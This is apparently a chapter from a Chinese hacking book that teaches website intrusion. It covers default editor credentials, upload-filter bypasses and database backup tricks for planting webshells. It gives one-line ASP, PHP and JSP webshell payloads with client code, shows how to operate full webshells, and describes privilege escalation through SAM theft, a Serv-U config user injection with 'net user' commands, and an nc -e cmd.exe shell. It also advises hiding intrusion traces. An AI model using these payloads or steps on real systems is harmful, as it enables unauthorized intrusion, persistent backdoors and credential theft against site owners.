这个容易被人忽略的地方是ewebeditor,ewebeditor是一款优秀的基于网页的在线编辑器,很多系统都会选择它作为第三方插件,实现在线编辑的功能。但是,许多站长并不知道自己下的系统中还包含有ewebeditor,所以是很少有人会去改它的默认管理员用户名、密码数据库路径的,这就给我们带来了入侵的机会。
怎么判断一个系统有没有用ewebeditor呢?如图2-192所示,如果有图中标记处的按扭出现的系统就大致可以确定该系统是用了ewebeditor。
图2-192 ewebeditor系统
好了,下面在出现图2-192所示页面的地方直看源代码,我们现在得到了ewebeditvv的路径为edit,访问www.xxxx.com/edit/admin_login.asp,来到图2-193所示页面,用默认用户名admin,密码admin试试是不是进去了啊!如图2-194所示。
图2-193 ewebeditor后台登陆页面
图2-194 利用默认密码进入后台
如果不行,那就试试访问www.xxxx.com lelit/db/ewebeditor.mdb,看是不是能下载ewebeditor的数据库了呢?如图2-195所示。不过密码是md5的,又要慢慢破了。
图2-195 下载ewebeditor系统数据库
简单提了一下一个容易被人忽略的ewebeditor,下面要开始讲我们通常讲的广义上的旁注了。引起这个旁注的原因,主要是因为我们现在使用的DNS域名是需要统一向总部位于美国的国际域名组织进行注册的,而国际域名组织为了方便管理等原因,将域名的信息放到了whois查询系统中,这样,只要用whois就能查出某域名解析的IP是什么了,得到解析的IP后,我们可以继续通过whois的查询功能,在域名记录里寻找到所有解析到这个IP的域名信息,这样我们就可以知道一个服务器上绑了多少个站点了。
下面我们来具体实践一下,就拿我的cnnsafe.com开刀吧。
首先打开http://wbois.webbosting.info,如图2-196所示,在框中输入cnnsafe.com,点Go,来到图2-197所示页面,得到CNN安全网的IP,然后再点那个IP,就会来到图2-198所示页面,还绑有几个域名在这里的吗,呵呵,下面就可以看看其它站有没有什么词了。
图2-196 打开wbois查询
图2-197 查看是否存在其他站点
图2-198 查询后的结果
如果E文不好,也可以用老兵的工具查询,步骤是一样的,如图2-199到2-201所示。找到在同一服务器上的站后就用前面的方法检查站点安全性吧。
图2-199 虚拟主机查看工具
图2-200 输入要查询的域名及IP地址
图2-201 查询后返回的虚拟主机
相信大家在前面中已经初步接触了Webshell,那么什么是webshell?webshell其实就是web入侵的一种脚本攻击工具。简单的说来,webshell就是一个asp、php或jsp木马后门,我们在入侵了一个网站后,常常在将这些asp、php或jsp木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过这些木马后门控制网站服务器,包括上传下载文件、看数据库、执行任意程序命令等。webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,如果不查看web日志是不可能发现我们入侵的痕迹的。前面给大家讲了那么多的攻击方法目的就只有一个,那么就是获得webshell。而本节就来给大家介绍一下在我们通过发现漏洞后(如注入)如何获得一个网站的webshell的一些常用方法。
现在功能稍微强大一点的系统都提供了上传的功能,利用上传我们向服务器传送文件、图片等等,从而使系统更加美观和人性化。但是上传弄的不好就会出现比较大的问题。如果它在处理文件上传时对文件的后缀名处理不当,那么我们就可以顺利的上传一个木马,一下就得到了webshell。这个漏洞前面所讲的文件包含漏洞一样,可以直接得到webshell。
有一些提供了上传功能,但同时安全性也是最差的系统会出现这样的上传漏洞。我们不需要任何权限就可以得到上传文件的功能。例如存在一个这样的ASP系统它提供给我们是用来上传图片的,但是却没有检查我们上传文件是不是图片。所以这个时候我们可以上传一个ASP木马进去,一下可以得到webshell。安全性稍微好一点点的,会过滤ASP后缀名,但是这样并不能阻止我们得到webshell。因为是ASP系统,所以服务器肯定是windows。因此我们可以上传一个ASPX木马或者将ASP木马后缀改成ASA或CER,因此IIS对这些文件同样会解析,所以我们上传的这些文件在服务器中同样会被执行,那么同样可以得到一个webshell。曾经,还出现过这样一个上传漏洞,就是将ASP木马的后缀改成AASPSP,那么就可以得到一个webshell,这是因为系统过滤了ASP,所以当我们提交AASPSP后中间的ASP会被去掉,那么这个时候AASPSP是不是又变成了ASP呢?
这些漏洞同样存在于PHP和JSP中,例如PHP和JSP一般都是用Linux或Unix做服务器,而Linux或Unix还会解释Perl文件的(Perl文件的后缀名pl),所以如果系统过滤了PHP或JSP,那么可以试着上传一个perl木马,那么同样可以得到webshell。而如果PHP和JSP系统是架构在Windows服务器上的话,那么可以上传ASPX、ASA、CER等文件,也可以获得webshell。他们虽然语言不同,但是都是方法和技巧相通的。
对于上传漏洞的攻击,我们就一定要提到动网7.0SP2之前的文件上传漏洞了。至于漏洞的原理这里就不提了,只是告诉大家如何利用这个漏洞。
要利用动网的这个上传漏洞我们要请出桂林老兵写的万能上传工具,如图2-202所示。只所以叫万能上传是因为大名鼎鼎的动网都没有注意到这个严重漏洞,那么其他系统也基本上避免不了,所以称它为“万能上传”。
图2-202 万能上传工具
我们利用google hack技术找到没有打过SP2补丁的dvbbs,注册一个账号,登陆进去后看有没有禁止上传,如果没有禁止。我们就是提取当前cookies保存起来并填在万能上传工具中,然后在万能上传工具处填好漏洞url,即所要提交的地址,还有上传的木马文件和如图2-203所示,点“上传”,不一会就提示成功了,我们现在来访问这个上传后的文件,如图2-204所示,那么这个时候我们就得到了一个webshell了,如图2-205所示。
图2-203 填入所攻击的网站的cookie、URL及本地机器的木马路径
图2-204 木马上传成功
图2-205 成功获得webshell
当然,并不是所有的系统都能用这个方法上传的。下面给大家总结几个常见的上传方法。
(1)、进入后台直接上传。有些系统对管理员可是十分信任的哦,进了后台只要找到有上传的地方你就可以直接选匹马放上去,绝不会有任意阻拦,如图2-206所示。一般来说是什么系统就上传什么木马,比如是PHP系统那么我们就上传PHP木马。目前这种问题在php和jsp的一些程序比较常见,MolyX BOARD就是其中一例,我们直接在心情图标管理上传.php类型,虽然没有提示,其实已经成功了,上传的文件url应该是http://forums/images/smiles/下,还有以前的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传.php文件,上传的文件路径有提示。以还有以前非常流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传 webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。
图2-206 利用后台直接上传木马
(2)、添加上传类型上传。如果不能直接上传,可找找看有没有添加上传类型的地方,对于ASP系统有的话添加一个ASP就可以了,如果不能添加ASP后缀的话,还可以在上传类型中增加asp ,注意,asp后面是有个空格的,那么上传一个后缀名为asp ,的木马也会被解释成ASP,同样可以获得Webshell,例如LeadBbs3.14后台获得 webshell方法是:在上传类型中增加asp ,注意,asp后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格。我们还可以添加允许上传ASA、CER等文件,然后把.asp的后缀改为ASA或CER上传,一样可用的,如图2-207所示;如果是PHP系统那么可以添加一个PHP,如果不行还可以试着添加pl,然后上传一个Perl木马,甚至可以添加ASP、ASA、CER然后上传。对于php系统的后台,我们还可以添加.php.hack的上传类型,这是php的一个特性,主要是因为Apache在解析文件后缀上的一些小问题导致的,我们只要保证最后的那个后缀名不是已知的就可以,例如php会将php.hack作为.php来正常运行,这是因为hack这个后缀名根本就没有,所以Apache就会忽略.hack的解析,从而解析php,从而也可成功拿到shell。
图2-207 添加其他的上传后缀名
(3)、抓包上传。这里就要利用Win2000的一个小漏洞了,如果文件名的结尾是空格或“.“号,那么windows会自动把这个符号“吃”掉。那么,我们就可以添加允许上传“ASP ”文件,注意ASP后有个空格,ASP 可不等于ASP啊,所以代码里的限制就没用了。然后我们来到文件上传界面,选择一个ASP文件,先别上传。我们打开抓包工具Wsock Expert,如图2-208所示,选择监控IE的上传窗口,然后回到上传界面,点击上传,提示上传失败。预料之中。我们来到Wsock Expert,找到刚才提交的数据包,如图2-209所示,看到那个mm.asp没有,我们在这个后面加个空格,再用NC提交,成功上传!
图2-208 打开Wsock Expert
图2-209 利用Wsock Expert抓取数据包
(4)、利用表单冲突上传。用这个方法最典型的就是动力3.51的上传了。我们同样注册一个用户,来到发表文章处。切换到“源代码”模式,输入下面的代码:
<FORM name=form1 onsubmit="return check()" action=upfile_article.asp method=post encType=multipart/form-data><INPUT class=tx1 type=file name=FileName> <INPUT class=tx1 type=file name=FileName><INPUT style="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit></FORM>
再来到“预览”模式,是不是看到了两个选择上传文件的框却只有一个上传按钮啊?,如图2-210所示。我们在第一个框处选择一个ASP文件,第二个框处选择一个jpg文件,然后点上传。可能会提示冲突,但我们返回“源代码”模式,就可以看到我们上传后的Webshell地址了。
图2-210 添加两个上传框
(5)、利用代码对文件类型的限制上传。现在许多代码为了安全都限制了上传ASP、PHP、JSP文件,但一些代码的限制方法实在令我不敢恭维。我见过有些代码的限制方式是一遇到ASP、PHP、JSP就把他们去掉的。那么,我们完全可以添加一个上传类型ASASPP、PPHPHP、JJSPSP,这样一来,在上传过程中代码会把中间为ASP、PHP、JSP去掉,后缀的自然也就变为ASP、PHP、JSP的了。
(6)、利用其它上传工具。老兵的万能工具虽名为万能,但因为有些系统的上传代码与动网的是有差异的,所以这个工具对它就失效了。所以大家要随时关注漏洞的动态信息,如果发现公布了某个上传漏洞的专用工具,那么利用它就可以顺利的获得webshell。
现在很多功能强大的系统都提供了一个叫后台数据库备份与恢复的功能,在这个方面做的最好的要算是动网了。在我们进入到网站后台后,经常使用后台备份与恢复来获得webshell。这里我就以利用动网和动力这两个系统的后台备份及恢复来获得webshell为例子来说明,对于其他如PHP、JSP系统,如果也提供了后台备份及恢复的功能,那么他们得到webshell的方法和动网下的很类似。
先说说常规的方法吧,一般地,我们就是把一个ASP木马改为gif后缀上传,然后记下上传后的地址,下面,我们来到数据备份页面,如图2-211所示,在“数据库路径”处填自己刚才上传的文件名,在“备分后路径”处填自己想要种马的地址,注意后缀为ASP,点“备份”后,我们把它的地址和网站的URL组合后就是我们的webshell地址,那么就得到了自己想要的webshell。
图2-211 数据备份页面
对于动网它允许我们自定义当前数据库地址,但是动力确不可以这样。不过我们可以通过暴库后台来看到动力的数据库地址。和前面一样,先把一个ASP木马改为gif的后缀,然后上传。现在我们来到“数据恢复”页面,看到没有有一个可以自定义恢复数据库的路径,如图2-212所示。我们选择刚才上传的文件路径,点击“恢复数据”按钮,如图2-213所示。
图2-212 自定义恢复数据库的路径
图2-213 恢复我们刚才上传的文件
因为我们恢复的时候是用我们上传的木马文件代替了系统的数据库,所以恢复成功后整个系统就用不了。但我们只需访问数据库地址就可以得到webshell了。当然,如果我们这样入侵的话,那没什么很大的意义,因为系统用不了,管理员几分钟就会发现网站被入侵了。所以为了不被别人发现最好还是先把系统的数据库备份好,在让我们得到webshellshell后再用webshell上的功能把系统的数据库恢复回去。那么这样既达到了获得webshell的结果又达到了没破坏网站的目的,从而使我们的webshell隐藏性高一些。
对于后台使用MSSQL数据库且网站有注入点的网站来说,我们还可以用由臭要饭的发明的SQL写入导出大法得到webshell,其原理是在知道网站物理路径的情况下通过往SQL数据库中写入一个带木马的表,再将这个表导出,就得到webshell了。为了不让管理人员发现,我们还要删掉这个新建的表。为此臭要饭的还专门写了一个叫getwebshell的工具来获取webshell,如图2-214所示。
图2-214 getwebshell的主界面
其中,url为存在注入漏洞的网站地址。对于木马,这里有“采用默认木马”、“选择木马”及“远程木马位置”。默认的情况下是采用这个工具自带的木马,不过我们一般不要用这个功能;“选择木马”就是利用我们本地电脑的木马,点击“选择”可以用来选择要上传不同的木马;而“远程木马位置”就是放在远程主机或网站上的木马,要使用我们填上木马的网址就可以了。
选项有“BACKUP DATABASE”和“Web作业”两个选择,这个我们可以随便选。而“增加成功后,删除新建的临时表”是为了防止发现我们建立了一个表而设置的,默认情况下是选上,所以为了增加隐蔽性大家不要把它去掉。
而我们点击“设置”按钮后就会出现我们所要建的临时表的名称、字段名及字段类型。这些我们都可以按照自己的意愿设置,如图2-215所示。一切弄好了以后点击“开始”按钮后就进行了,如果成功的话,就会获得webshell。在“操作信息”中有我们所需要的返回信息。
图 2-215 对临时表的设置
利用过滤不完全写入一句马的服务端,然后利用客户端进行连接得到一个webshell是目前得到webshell的最为主要的方法之一。要利用写入过滤不完全来获得webshell就涉及到一句话木马了。所以在介绍过滤不完全之前先介绍下一句话木马。
一句话分为客户端和服务端,其实就是C/S模型的网页木马,即有服务端和客户端之分。要利用一句话木马得到webshell,首先就是要将服务端代码插入到网站中,让服务端可以在所要入侵的网站中可以被执行,这个时候我们就得到了一个小马了,即一个shell;然后我们利用客户端连接服务端,上传一个功能非常强大的木马,这样我们就获得了一个大马,即webshell。
先来介绍下ASP下的一句话木马,ASP下常见的一句话木马的服务端是<%execute request("value")%>,其中,value我们可以是任何值。当然,我们还可以对服务端<%execute request("value")%>进行变换,如<%execute request.form("value")%>、<%eval request("value")、<%On Error Resume Next execute request("value")%>等等。
接下来我们就是要把ASP一句话木马插入到网站中,不过这里的插入是指把一句话木马的服务端插入到ASP文件中去,因为服务端其实就是一小段ASP代码,至于其作用在后面的第7章会有详细的介绍,插入到ASP文件中后,我们的服务端就会被执行,那么这个时候就得到了一个shell了。
而我们来看看ASP一句话木马的客户端,如图2-216所示。
图2-216 ASP一句话木马的客户端界面
在客户端的界面中,我们利用它可以得到一个webshell,要得到webshell自然就是要上传一个ASP木马才能得到拉,所以我们要把ASP木马的代码复制到“添入生成木马的内容”的区域中,不过要把“添入生成木马的内容”这几个字删除掉。比较著名的ASP木马海洋顶端等等,我们把它的代码复制到“添入生成木马的内容”即可。要使用这个客户端,首先要设置一下这个客户端,先来看看它的源代码,我们点击右键选择“查看源文件”即可看到源代码了,代码如下所示:
<form action=http://www.gzyecheng.com/zhishi/200582432342.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("value")
lP.SaveToFile server.mappath("wei.asp"),2
lP.Close
set lP=nothing
response.redirect "wei.asp"
</textarea>
<textarea name=joeving cols=120 rows=10 width=45>添入生成木马的内容</textarea><BR><center><br>
<input type=submit value=提交>
其中,第一句代码中的action后的URL地址就是我们插入服务端的ASP文件的完整URL地址。这个URL地址非常的关键,决定着我们得到webshell的成败,action的值就是我们插入服务端代码的ASP文件的URL地址,一定要记住了。
还有就是lP.writetext request("value") 这行代码中的value要注意了,前面我说<%execute request("value")%>中的value可以随便填什么,这个没有错,但是不管<%execute request("value")%>中的value为任何值,它都必须和lP.writetext request("value")中的value相同。比如,我们服务端输入的是<%execute request("cmd")%>,那客户端的lP.writetext request("value")就必须改为lP.writetext request("cmd")。
最后就是wei.asp这个文件名,它是指我们我们得到webshell后的文件名,我们也可以随便改,比如改成shell.asp,那么webshell的文件名就为shell了。
只要对上面三个进行了设置,然后添入我们ASP木马的内容,点击提交后,就可以得到webshell了。如果觉得上面的麻烦,那么还可以使用海阳顶端网ASP木马2006 C/S模式转换器得到一个专用的的客户端,如图2-217所示。
图2-217 海阳顶端网ASP木马2006 C/S模式转换器
要生成客户端,首先点击“打开”按钮,选择我们的ASP木马,然后点击“转换”按钮就得到了客户端了,如图2-218所示。下面的“生成服务端页面”是用于生成服务端的作用,可以在服务端密码处输入服务端的密码,其实密码就是request("value")中的value的值。
图2-218 生成的客户端页面
生成的客户端如图2-218所示,其中在表单提交地址中我们所要输入的URL地址就是插入一句话木马服务端的那个ASP文件的URL地址。而密码就是进入webshell的时候所要输入的密码。而在下面的区域里,生成的客户端已经自动为我们添入了ASP木马的代码,我们只需要填上URL地址和密码后,点击提交即可得到webshell。
前面我们说了,要利用一句话木马得到webshell,首先必须将服务端插入到ASP文件中。那么在ASP下,我们怎么把服务端插入到网站的ASP文件中呢?有两种方法:
一、 在通过注入等手段进入后台后,利用后台所提供的功能插入服务端。常见的可以使用的地方有如友情连接、页面编辑、模块编辑等等,只要可以输入数据的地方大家都可以试着输入服务端,不过一定要记着这个输入数据的文件的URL地址,这个URL在后面会有很重要的重要。
这里我以leadbbs来为大家演示,首先我通过前面所讲的入侵方法进入了一个leadbbs论坛的后台。进入后台后,利用leadbbs后台提供的友情链接添加处写入webshell,我们来到后台的添加友情链接处,点“新增友情链接”,而实现“新增友情链接”这个功能的文件名为BoardLink.asp。然后在“网站名称处填上一句话木马的服务端<%execute request("#")%> ,其它乱填,如图2-219所示。
图2-219 后台写入服务端
然后我们利用客户端进行连接,这里最好还是用海洋顶端生成的客户端来连接,我们在URL地址上填入BoardLink.asp文件的完整路径,并填入webshell的密码,如图2-220所示。
图2-220 利用刚才得到的shell提交一个功能强大的木马
点击“提交”按钮之后,我们就可以得到了一个webshell了,是不是很简单呢?如图2-221所示。
图2-221 得到webshell
二、 通过暴库或其他方法(如默认数据库地址)得到网站数据库的绝对路径。但是暴出的数据库必须是以asp结尾的数据库,即数据库的格式为asp。有了数据库地址后,我们就要利用网站过滤不完全的漏洞往数据库中插入我们的服务端代码,即我们所输入的服务端要插入到数据库中才会起作用。例如利用系统提供的评论功能将服务端插入到数据库中。当然必须要系统没有对这些代码进行过滤,过滤了还是没办法了。在这个方面最为典型的就是许愿版漏洞了,首先利用%5c暴库得到数据库的绝对路径,其中数据库为asp格式的,如图2-222所示。
图2-222 得到许愿版网站数据库的绝对路径
在得到数据库绝对路径之后,我们在这个许愿版里许一个愿望,当然内容是输入一句话木马的服务端<%execute request("#")%>,那么这个时候我们的服务端就被插入了数据库。我们在利用客户端连接,其中URL地址就填上数据库的地址,提交之后我们就顺利的得到webshell,如图2-223所示。
图2-223 通过暴库得到的webshell
上面讲的是ASP下的一句话木马,那接下来介绍下PHP下的一句话木马。PHP下一句马的服务端有:<?require($_REQUEST['a']);?>、<?require($a);?>、<?@include($_POST["a"]);?>等等。
同样要在PHP网站利用一句话木马得到webshell,首先要将我们的服务端插入到网站中的php文件中去,所以我们只要把服务端插入到网站的php文件中就可以得到一个shell。一般对于php网站来说,要将服务端插入到网站的文件中也有两种办法,一也是利用后台的功能,将服务端插入到php文件中,和asp中的第一点是一样的。二可以利用目前很多php网站中使用的文本数据库,即数据库文件的后缀为php,所以一般对于我们输入的数据也是放入到php格式的文件中去了,那么我们往该数据库中插入服务端即可得到一个shell,和asp中的第二点也是比较类似。不过还是也前面一样,我们所插入的服务端的URL地址大家可不要忘记了。
在插入服务端成功之后,就是要用客户端进行连接了,这里我强烈向大家推荐一款叫做“ZV新型PHP一句话木马客户端GUI版”的工具给大家,它的把客户端做成了一个软件的形式,使用起来非常的方便,如图2-224所示。
图2-224 ZV新型PHP一句话木马客户端GUI版的界面
在图2-224中,“提交地址”就是我们所插入了PHP一句话木马服务端的那个php文件的URL地址。“密码”为我们进入PHP的webshell的密码,功能列表就是选择我们所上传的php大木马的一些功能,服务端模式可以看到它是用的是<?@include($_POST["你的密码"]);?>提交的,其中“你的密码”就是前面“密码”输入框中所要输入的内容。
当我们把上面的提交地址和密码输入好了以后,并选择所要上传的PHP木马的一些功能,点击“提交按钮”就可以得到PHP下的webshell了。
对于JSP来说,同样的存在一句话木马。不过JSP的一句话木马的服务端可和上面的有点不一样哦,其服务端代码为<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>。我们可以将这个服务端代码保存为1.jsp,放到JSP服务器下去,我们提交http://localhost/1.jsp?f=1.txt&t=hack,然后我们再提交http://localhost/1.txt,一句话木马就出来了,它的内容为hack。
这里给大家接受一下f和t这两个参数,其中参数f是用来在服务器中生成文件的文件名,而参数t是用于接受所提交的数据。
对于这个一句话木马,我们可以这样利用。首先还是一样,将这个服务端插入到JSP网站中的jsp文件中,而且记住这个文件的文件名,这里假设我们插入了服务端的文件的URL地址是http://www.xxx.com/article.jsp。插入服务端成功之后,就是接下来就是要将我们大马传到JSP网站中去从而得到webshell。
这里我们提交http://www.xxx.com/article.jsp?f=shell.jsp&t=http://www.xxx.com/shell.txt。其中shell.jsp就是我们在服务器中生成的文件,即JSP木马文件名。而参数t的值为http://www.xxx.com/shell.txt是我们JSP文件的代码,当然t参数的值也可以直接是JSP的代码,这里即支持通过URL提交木马代码也支持直接提交JSP木马代码。和我们前面所讲的PHP中的文件包含漏洞比较类似。当成功提交之后,我们就可以得到了一个JSP的webshell了。
上面我简单的介绍了目前几种常见的、主要的获得webshell的方法,相信大家已经掌握了,当然获得webshell的方法远远不止上面所将的几种。但是获得webshell的思想是不会变的,关键是要看大家怎么灵活运用、触类旁通。要达到灵活运用和触类旁通需要通过长期知识的积累,希望上面的方法能够给大家起到抛砖引玉的作用。各位继续加油吧!
上面说了那么多的入侵方法,相信大家已经够获得自己的webshell了吧。那么当我们拿到webshell之后怎么使用呢?这是很多刚刚入门的朋友感到困惑的问题。下面我就以海洋顶端2006ASP木马为例来给大家说说webshell的一些基本使用方法。
首先,我们来下载海洋2006木马文件包,解压后会发现七个文件,它们分别是:2006.asp、unpack.vbs、2006×.exe、2006×2.exe、2006Z.ese、hididi.ini、ReadMe.Txt。其中2006.asp就是ASP木马的主文件,我们用记事本打开这个主文件,把默认密码lcxmarcos改为自己想要的密码,当然不改也行),然后用前面说的方法把这个文件放到网上去。用密码登录后,我们就可以看到如图2-225所示页面。这里列举了十三项大的功能,我只是就其中的一部分来讲解,其它的请各位自己去摸索。
图2-225 海洋顶端木马主界面
首先看第8项功能:FSO文件浏览操作器,FSO大家应该很熟了吧,点击进入后我们可以看到如图2-226所示的界面。如果权限足够的话,我们可以在这里对服务器上任何的盘符进行包括新建,删除,读取,修改,修改属性,运行等文件操作,具体怎么做不用我教了吧?
图2-226
FSO的使用
下面再来看wscripc.shell程序运行器,进入该功能后会出现如图2-227所示界面,如果服务器不支持FSO,可以尝试在这里里输入cmd命令执行,例如我这里执行dir
c:\,看C盘的目录是不是都列出来了呢,如图2-228。另外,如里用默认的cmd路径无法执行,我们可以自己上传一个cmd.exe到有执行权限的目录,然后填好文件路径再执行。
图2-227 wscripc.shell程序运行器
图2-228 执行dir命令之后返回的结果
下面我们再来看看海洋2006ASP木马的第1—5项功能,这些有了是帮助我们收集服务信息的,有助于我们进一步的入侵。
进入“系统服务信息”后,我们就可以看到系统打开的所有服务和详细说明,如图2-229。
图2-229 系统服务信息
进入“服务器相关数据”后,我们就可以看到系统参数,系统磁盘,站点文件夹,终端端口等信息,如图2-230所示。
图2-230 服务器相关数据
而“服务器组件探针”则可以列出服务器上各组件的名称和支持情况,如图2-231。
图2-231 服务器组件探针
“系统用户和用户组信息”可以帮我们列出服务器上所有用户、用户组的详细信息,如图2-232。
图2-232 系统用户和用户组信息
客户端服务器交互信息是为我们列出服务器上Application、Session、cookies等信息的地方,如图2-233。
图2-233 客户端服务器交互信息
另外,第十一个功能“文件打包功能是海洋2006新增的一个亮点,它可以不用winrar打包服务器上的文件夹,无论是否支持FSO都能完成,如图2-234,打包好后,我们可以在海洋2006木马的同级目录下找到hyfop.mdb文件,下载回来后用unpack.vb3解压就可以了。另外,如果服务器支持FSO,我们也可以用这个功能在服务器上解包。
图2-234 文件打包功能
海洋2006ASP木马还增加了“一些零碎的小东西”,其中比较实用的有注册表的读取功能,如图2-235,填斥了注册表的键值路径后,点“读取”就能读出注册表键值了,如图2-236。
图2-235 注册表的读取功能
图2-236读取注册表的结果
除了海洋ASP木马的主体文件外,它的压缩包里的其它文件也是大有用途,比如刚才说的unpack.vbs是解压打包用的。另外我们还可以自己定制海洋2006的功能,如我们只需要FSO文件浏览器,我们就运行2006Z.exe,如图2-237,在“页面选择”外选FSO文件浏览操作器,选择好源文件2006.asp和生成后的文件各后点“生成”一个只有FSO文件浏览器功能的木马就生成了,如图2-238所示。
图2-237 选择木马的一些功能
图2-238 具有FSO功能的木马
以上就是海洋顶端木马的基本使用方法,其他类型的ASP木马的使用方法也大多如此,而且海洋顶端的功能也是最为强大的。当然,它的使用方法还有很多没有讲,所以为了大家能够更好的学习和使用,我已为大家收集了海洋顶端木马的用户手册,可以在光盘中找到。
下面再给大家简单介绍一下PHP木马,其实不管是ASP、PHP、JSP木马,他们的用法总的来说都是差不多,而且使用的方法受服务器上操作系统的影响也比较大。所以这里就简单介绍一下PHP木马在Liunx/Unix操作系统上的基本用法。这里我使用的是国外的一款PHP木马,名字叫R57 shell,其功能相对国内的来说要强大一些,我已把它收集到了光盘中,下面就来简单介绍一下它的用法,其他类型的PHP木马使用方法也大多是相类似。
在用这个木马得到一个webshell之后,在其最上面有网站的一些配制信息,如图2-239所示。
图2-239 网站的一些配制信息
上面显示了服务器上的时间,还有PHP网站的一些信息,php.ini则显示了PHP的配制信息;CPU的类型;内存大小;还有后台数据库的类型及PHP版本;还有哪些函数是不可用的及其硬盘已用及空闲空间。
我们还可以得到网站服务器上操作系统的一些配制信息,如图2-240所示。
图2-240 操作系统的信息
上面显示了操作系统的类型,它上面显示的为Linux iglu,版本为2.6.14.4,这个信息对我们后面的提权很有用。还有服务器的类型,为Apache/2.0。还有当前用户登陆的ID号,及其当前网站的绝对路径,后面的括号则是显示的权限。
而且我们还能够遍历当前网站下所有的文件,如图2-241所示。
图2-241 遍历当前网站目录
我们还能够改变当前的工作目录、编辑文件、新建或删除目录和文件,如图2-242所示。
图2-242 对目录和文件的操作
还能够改变目录和文件的权限,这个功能对我们提权非常的有用,在介绍文件包含的时候就已经介绍过了,如图2-243所示。
图2-243 改变权限
这个木马还提供了查找文件的功能,如图2-244所示,其中find text为查找文件的文件名、in dirs为要查找的目录、only in files为要查找文件的后缀名。
图2-244 文件查找
我们还能在其中执行一些PHP代码,如图2-245所示,在文本框中输入PHP代码之后,点击“Execute”按钮就可以执行代码了。
图2-245 执行PHP代码
我们前面在讲PHP手工注入的时候就提到过读取文件的功能,而PHP自然也少不了这些功能了,它提供了很多在安全模型(safe_mode)下测试系统能否执行的选项,如图2-246所示。
图2-246 测试安全模型下测试一些功能是否能用
还可以往服务器上上传文件及下载文件,如图2-247所示。其中下载还提供了几种压缩形式。
图2-247 上传和下载功能
如果对方服务器上存在FTP服务器的话,还可以通过它来上传和下载文件,更加的方便和快捷,如图2-248。
图2-248 FTP服务器的上传与下载
另外对于后台数据库,该木马也提供了相应的功能,为修改数据库中的表还有执行SQL命令,如图2-249所示。
图2-249 对数据库的相关操作
以上就是一个PHP木马的大体功能,相信大家已经对它已经有一定的认识了。最后就是要多多去实践,在实践中掌握更多的技巧与方法。
对于JSP木马,它的功能和上面所讲的ASP、PHP木马差不多。在光盘中已经为收录了一款比较好的JSP木马。它能够对文件进行管理、及操作还可以查看各种属性;还可以执行命令;操作目录等等。目前jsp木马还是比较少,功能也相对弱一些,JSP木马有的功能,其他如ASP、PHP下的木马都有。因此掌握了ASP和PHP木马的使用,JSP的使用就不在话下了,所以这里对JSP不在进行详细的介绍。
我们入侵网站得到webshell后并不是就控制了整个服务器,其实很多情况下webshell的权限是很小的。所以在获得webshell之后就是提升权限,从而获得管理员权限,从而最终控制整台服务器。下面给大家简单介绍一些常见的提升权限的方法。
我们知道,现在很多网站都采用虚拟主机,所以电信为了方便网站管理员方便对网站的管理,一般都安装了一些软件,比如pcanywhere、serv-u等等。
(1)、如果服务器上有装了pcanywhere服务端,管理员为了管理方便 也给了我们方便,它默认安装在系统盘的Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/目录下,我们先看能否跳转到这个目录,如果能跳转的话,那么就下载*.cif文件。用记事本打开cif文件,那么我们就得到pcAnywhere的密码了,直接利用它登陆即可管理员权限。
(2)、还可以下载服务器的SAM表,其文件路径为系统盘:\WINNT\system32\config\下。如果能够跳转到这个目录中,那么就下载文件名为SAM的文件到我们本地的计算机中,对于SAM可以利用LC5这个工具破解出用户密码。
(3)、虚拟主机用的最多的软件应该算是serv-u这个FTP工具。serv-u也是漏洞出现的非常多,所以利用它进行提权是最为常用的方法。我们先呀判断服务器中是否安装了serv-u,首先看能否跳转到“系统盘: \Documents and Settings\All Users\「开始」菜单\程序\”这个目录中,我们从这里可以获取好多有用的信息。可以看见好多快捷方式,如果安装了Serv-U,那么也可以看到其快捷方式,我们可以本地查看属性,即查找Serv-U的安装路径,有了Serv-U的安装路径,我们就看能否跳转到这个安装路径中。
如果可以跳转,跳转成功之后。我们要看serv-u的servvDaemon.ini是否可写,如果可写我们就可以很快得到管理员的权限了。打开servvDaemon.ini后,我们会在[Domain]这一栏下加上user9=[hack|1|0,其中数字9可以更换,然后在后面加上
[USER=hack|1]
password=
HomeDir=c:\winnt\systam32
Timeout=60
Maintenace=system
Accessl=c:\winnt\system32\RWAMELCDP
SKETValues=
保存后我们用ftp客户端登录,用户名为cnnsafe,密码为空,然后执行quote site execnet user hack hack/add和quote site exec net localgranp administrators hack/add,你就得到管理员权限了。
如果ServvDaemon.ini文件不可写,我们还可以用serv-v的本地溢出漏洞提权。找个可执行的目录,上传我们的提权工具su-exe,然后到wscriptshell中执行,执行成功后我们就可以得到服务器权限了。
比如我们利用Serv-u Ftp Server 本地权限提升漏洞: 因为很多主机的“系统盘:\Documents and Settings\All Users\ Documents”目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp. 因此我们直接上传了serv-u local exploit 和nc, 并且把serv-u的本地提升权限的名字命名为su.exe 文件就放在“C:\Documents and Settings\All Users\ Documents”, 然后我们用su.exe直接建立用户,也可以反弹一个shell过来的。
具体命令:
建立用户: serv-u.exe "cmd"
>USER xl
>PASS 111111
反弹shell: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
(4)、查找conn和config ,pass这类型的文件看能否得到sa或者mysql的相关密码,可能会有所收获等等。
